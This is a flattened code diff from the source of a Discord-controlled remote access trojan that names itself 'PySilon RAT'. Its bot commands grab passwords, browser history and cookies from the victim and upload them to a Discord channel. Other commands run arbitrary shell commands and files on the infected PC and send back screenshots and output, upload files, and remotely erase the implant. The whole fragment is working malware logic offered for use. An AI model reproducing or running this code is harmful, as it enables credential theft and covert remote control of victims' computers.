reaction_msg.add_reaction('šŸ”“') - elif message.content[:5] == '.grab': - await message.delete() - if message.content.strip() == '.grab': - reaction_msg = await message.channel.send('```Syntax: .grab ```'); await reaction_msg.add_reaction('šŸ”“') - else: - if message.content[6:] == 'passwords': - grab_passwords() - reaction_msg = await message.channel.send('``Grabbed passwords:``', file=discord.File('credentials.txt', filename='credentials.txt')); await reaction_msg.add_reaction('šŸ“Œ') - os.system('del credentials.txt') - - elif message.content[6:] == 'history': - with open('history.txt', 'w') as history: - for entry in get_history().histories: - history.write(entry[0].strftime('%d.%m.%Y %H:%M') + ' -> ' + entry[1] +'\n\n') - reaction_msg = await message.channel.send(file=discord.File('history.txt')); await reaction_msg.add_reaction('šŸ”“') - os.system('del history.txt') - - elif message.content[6:] == 'cookies': - if cookies_thread == None: - cookies_thread = Thread(target=grab_cookies); cookies_thread.start() - await message.channel.send('```Grabbing cookies. Please wait...```') + elif message.content[:8] == '.execute': + await message.delete() + if message.channel.id == channel_ids['file']: + if message.content.strip() == '.execute': + reaction_msg = await message.channel.send('```Syntax: .execute ```'); await reaction_msg.add_reaction('šŸ”“') else: - reaction_msg = await message.channel.send('``Cookies are being collected. Please be patient...``'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content[:8] == '.execute': - await message.delete() - if message.channel.id == channel_ids['file']: - if message.content.strip() == '.execute': - reaction_msg = await message.channel.send('```Syntax: .execute ```'); await reaction_msg.add_reaction('šŸ”“') + if os.path.exists('/'.join(working_directory) + '/' + message.content[9:]): + try: + os.system('start ' + '/'.join(working_directory) + '/' + message.content[9:]) + await asyncio.sleep(1) + ImageGrab.grab(all_screens=True).save('ss.png') + reaction_msg = await message.channel.send(embed=discord.Embed(title=current_time() + ' `[Executed: ' + '/'.join(working_directory) + '/' + message.content[9:] + ']`').set_image(url='attachment://ss.png'), file=discord.File('ss.png')); await reaction_msg.add_reaction('šŸ“Œ') + os.system('del ss.png') + await message.channel.send('```Successfully executed: ' + message.content[9:] + '```') + except: + reaction_msg = await message.channel.send('```ā— Something went wrong...```'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') else: - if os.path.exists('/'.join(working_directory) + '/' + message.content[9:]): - try: - os.system('start ' + '/'.join(working_directory) + '/' + message.content[9:]) - await asyncio.sleep(1) - ImageGrab.grab(all_screens=True).save('ss.png') - reaction_msg = await message.channel.send(embed=discord.Embed(title=current_time() + ' `[Executed: ' + '/'.join(working_directory) + '/' + message.content[9:] + ']`').set_image(url='attachment://ss.png'), file=discord.File('ss.png')); await reaction_msg.add_reaction('šŸ“Œ') - os.system('del ss.png') - await message.channel.send('```Successfully executed: ' + message.content[9:] + '```') - except: - reaction_msg = await message.channel.send('```ā— Something went wrong...```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content[:4] == '.cmd': - await message.delete() - if message.content.strip() == '.cmd': - reaction_msg = await message.channel.send('```Syntax: .cmd ```'); await reaction_msg.add_reaction('šŸ”“') - else: - cmd_output = force_decode(subprocess.run(message.content[5:], capture_output= True, shell= True).stdout).strip() - message_buffer, cmd_messages = '', [] - reaction_msg = await message.channel.send('```Executed command: ' + message.content[5:] + '\nstdout:```'); cmd_messages.append(reaction_msg) - for line in range(1, len(cmd_output.split('\n'))): - if len(message_buffer) + len(cmd_output.split('\n')[line]) > 1950: - reaction_msg = await message.channel.send('```' + message_buffer + '```'); cmd_messages.append(reaction_msg) - message_buffer = cmd_output.split('\n')[line] + elif message.content[:4] == '.cmd': + await message.delete() + if message.content.strip() == '.cmd': + reaction_msg = await message.channel.send('```Syntax: .cmd ```'); await reaction_msg.add_reaction('šŸ”“') + else: + cmd_output = force_decode(subprocess.run(message.content[5:], capture_output= True, shell= True).stdout).strip() + message_buffer, cmd_messages = '', [] + reaction_msg = await message.channel.send('```Executed command: ' + message.content[5:] + '\nstdout:```'); cmd_messages.append(reaction_msg) + for line in range(1, len(cmd_output.split('\n'))): + if len(message_buffer) + len(cmd_output.split('\n')[line]) > 1950: + reaction_msg = await message.channel.send('```' + message_buffer + '```'); cmd_messages.append(reaction_msg) + message_buffer = cmd_output.split('\n')[line] + else: + message_buffer += cmd_output.split('\n')[line] + '\n' + reaction_msg = await message.channel.send('```' + message_buffer + '```'); cmd_messages.append(reaction_msg) + reaction_msg = await message.channel.send('```End of command stdout```'); await reaction_msg.add_reaction('šŸ”“') + + elif message.content == '.implode': + await message.delete() + await message.channel.send('``` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` ```\n\n```Send here PySilon.key generated along with RAT executable```\n\n') + expectation = 'key' + + + elif expectation == 'key': + try: + split_v1 = str(message.attachments).split("filename='")[1] + filename = str(split_v1).split("' ")[0] + await message.attachments[0].save(fp=filename) + if get_file_hash(filename) == secret_key: + reaction_msg = await message.channel.send('```You are authorized to remotely remove PySilon RAT from target PC. Everything related to PySilon will be erased after you confirm this action by reacting with "šŸ’€".\nWARNING! This cannot be undone after you decide to proceed. You can cancel it, by reacting with "šŸ”“".```') + await reaction_msg.add_reaction('šŸ’€') + await reaction_msg.add_reaction('šŸ”“') + expectation = 'implosion' else: - message_buffer += cmd_output.split('\n')[line] + '\n' - reaction_msg = await message.channel.send('```' + message_buffer + '```'); cmd_messages.append(reaction_msg) - reaction_msg = await message.channel.send('```End of command stdout```'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content == '.implode': - await message.delete() - await message.channel.send('``` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` `````` ```\n\n```Send here PySilon.key generated along with RAT executable```\n\n') - expectation = 'key' + reaction_msg = await message.channel.send('```ā— Provided key is invalid```'); await reaction_msg.add_reaction('šŸ”“') + expectation = None + except: + await message.channel.send('```ā— Something went wrong while fetching secret key...```') + expectation = None + elif expectation == 'onefile': + split_v1 = str(message.attachments).split('filename=\'')[1] + filename = str(split_v1).split('\' ')[0] + reaction_msg = await message.channel.send('```This file will be uploaded to ' + '/'.join(working_directory) + '/' + filename + ' after you react with šŸ“¤ to this message, or with šŸ”“ to cancel this operation```') + await reaction_msg.add_reaction('šŸ“¤') + await reaction_msg.add_reaction('šŸ”“') + one_file_attachment_message = message - elif expectation == 'key': - try: - split_v1 = str(message.attachments).split("filename='")[1] - filename = str(split_v1).split("' ")[0] - await message.attachments[0].save(fp=filename) - if get_file_hash(filename) == secret_key: - reaction_msg = await message.channel.send('```You are authorized to remotely remove PySilon RAT from target PC. Everything related to PySilon will be erased after you confirm this action by reacting with "šŸ’€".\nWARNING! This cannot be undone after you decide to proceed. You can cancel it, by reacting with "šŸ”“".```') - await reaction_msg.add_reaction('šŸ’€') - await reaction_msg.add_reaction('šŸ”“') - expectation = 'implosion' - else: - reaction_msg = await message.channel.send('```ā— Provided key is invalid```'); await reaction_msg.add_reaction('šŸ”“') - expectation = None - except: - await message.channel.send('```ā— Something went wrong while fetching secret key...```') - expectation = None - - elif expectation == 'onefile': - split_v1 = str(message.attachments).split('filename=\'')[1] - filename = str(split_v1).split('\' ')[0] - reaction_msg = await message.channel.send('```This file will be uploaded to ' + '/'.join(working_directory) + '/' + filename + ' after you react with šŸ“¤ to this message, or with šŸ”“ to cancel this operation```') - await reaction_msg.add_reaction('šŸ“¤') - await reaction_msg.add_reaction('šŸ”“') - one_file_attachment_message = message - - elif expectation == 'multiplefiles': - files_to_merge[1].append(message) + elif expectation == 'multiplefiles': + files_to_merge[1].append(message) class PyAudioPCM(discord.AudioSource): def __init__(self, channels=2, rate=48000, chunk=960, input_device=1) -> None: